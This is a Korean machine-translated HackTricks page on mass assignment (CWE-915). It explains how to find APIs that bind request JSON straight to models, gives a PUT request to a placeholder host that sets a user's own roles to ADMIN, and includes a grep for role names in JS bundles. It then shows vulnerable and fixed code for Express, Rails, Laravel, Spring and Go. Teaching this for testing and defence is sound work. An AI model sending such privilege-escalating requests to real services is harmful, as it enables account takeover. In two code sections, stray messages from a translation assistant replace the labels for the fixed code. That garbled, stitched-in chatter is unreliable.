Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Mass assignment(일명 insecure object binding)는 API/controller가 사용자 제공 JSON을 받아 명시적인 허용 필드 목록 없이 서버 측 모델/엔티티에 직접 바인딩할 때 발생합니다. roles, isAdmin, status 또는 소유권 필드 같은 권한이 있는 속성이 바인딩 가능하면, 인증된 어떤 사용자가든 권한을 상승시키거나 보호된 상태를 변조할 수 있습니다.
이는 Broken Access Control 문제(OWASP A01:2021)로, roles=ADMIN 같은 값을 설정해 수직적 권한 상승을 유발하는 경우가 많습니다. 자동으로 요청 본문을 데이터 모델에 바인딩하는 프레임워크(Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs 등)에 흔히 영향을 줍니다.
1) Finding Mass Assignment
자기 프로필을 업데이트하거나 유사한 리소스를 수정하는 self-service 엔드포인트를 찾아보세요:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
mass assignment를 시사하는 휴리스틱:
- 서버가 관리하는 필드(e.g., roles, status, isAdmin, permissions)를 당신이 전송하지 않았는데도 응답에서 에코한다.
- 클라이언트 번들에 앱 전체에서 사용되는 role 이름/ID 또는 다른 권한 속성명(admin, staff, moderator, internal flags)이 포함되어 있어 바인딩 가능한 스키마를 암시한다.
- Backend serializers가 알려지지 않은 필드를 거부하지 않고 허용한다.
Quick test flow:
- 안전한 필드만 포함해 정상 업데이트를 수행하고 전체 JSON 응답 구조를 관찰한다(이렇게 하면 schema가 leaks 된다).
- 본문에 조작한 권한 필드를 포함해 업데이트를 반복한다. 응답이 변경을 유지하면 mass assignment일 가능성이 높습니다.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
응답이 권한 있는 필드를 암시함:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation – Role Escalation via Mass Assignment
바인딩 가능한 형태(bindable shape)를 알게 되면, 동일한 요청에 privileged 속성을 포함하세요.
예: 자신의 사용자 리소스에서 roles를 ADMIN으로 설정:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.
참고
- 역할 식별자와 구조는 클라이언트 JS 번들이나 API 문서에서 자주 열거됩니다. "roles", "ADMIN", "STAFF" 같은 문자열이나 숫자 역할 ID를 찾아보세요.
- 토큰에 claims가 포함되어 있다면(예: JWT roles), 새로운 권한을 반영하려면 보통 logout/login 또는 token refresh가 필요합니다.
3) Client Bundle Recon for Schema and Role IDs
- minified JS 번들에서 역할 문자열과 모델 이름을 검사하세요; source maps는 DTO shapes를 드러낼 수 있습니다.
- roles, permissions, 또는 feature flags의 arrays/maps를 찾아보세요. 정확한 프로퍼티 이름과 중첩 구조에 맞춰 payloads를 구성하세요.
- 일반적 지표: role name constants, dropdown option lists, validation schemas.
다운로드한 번들에 대한 유용한 greps:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) 프레임워크의 함정 및 안전한 패턴
이 취약점은 프레임워크가 req.body를 영속적 엔티티에 직접 바인딩할 때 발생합니다. 아래는 흔한 실수와 최소한의 안전한 패턴입니다.
Node.js (Express + Mongoose)
취약:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
파일 내용을 붙여 넣어 주세요. 전체 마크다운을 받아 한국어로 번역해 드립니다.
주의:
- 코드, 해킹 기법 명칭, common hacking 단어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp 등), "leak" 같은 단어, pentesting, 링크와 경로(예: lamda-post-exploitation.md) 및 마크다운/HTML 태그는 번역하지 않습니다.
- 원본 마크다운/태그/경로는 그대로 유지합니다.
원하시면 문제 있는 부분(예: 문법, 불명확한 문장)만 지적해서 수정해 드릴 수도 있습니다. 어떤 방식으로 원하시는지 알려 주세요.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
취약 (strong parameters 없음):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
수정 (strong params + 특권 필드 없음):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
취약:
protected $guarded = []; // Everything mass-assignable (bad)
번역할 src/pentesting-web/mass-assignment-cwe-915.md 파일의 내용을 붙여넣어 주세요.
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
취약한 패턴:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
수정: 허용된 필드만 있는 DTO로 매핑하고 authorization를 강제 적용:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
그런 다음 허용된 필드를 DTO에서 entity로 서버 측에서 복사하고, RBAC 검사 후 admin-only 핸들러에서만 역할 변경을 처리하세요. 필요한 경우 권한 있는 필드에 @JsonIgnore를 사용하고 알 수 없는 속성은 거부하세요.
Go (encoding/json)
- 권한 있는 필드가 json:"-"을 사용하도록 하고, 허용된 필드만 포함하는 DTO struct로 검증하세요.
- decoder.DisallowUnknownFields()와 바인딩 이후 불변성 검증(post-bind validation)을 고려하세요 (self-service 경로에서는 roles를 변경할 수 없음).
참조
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks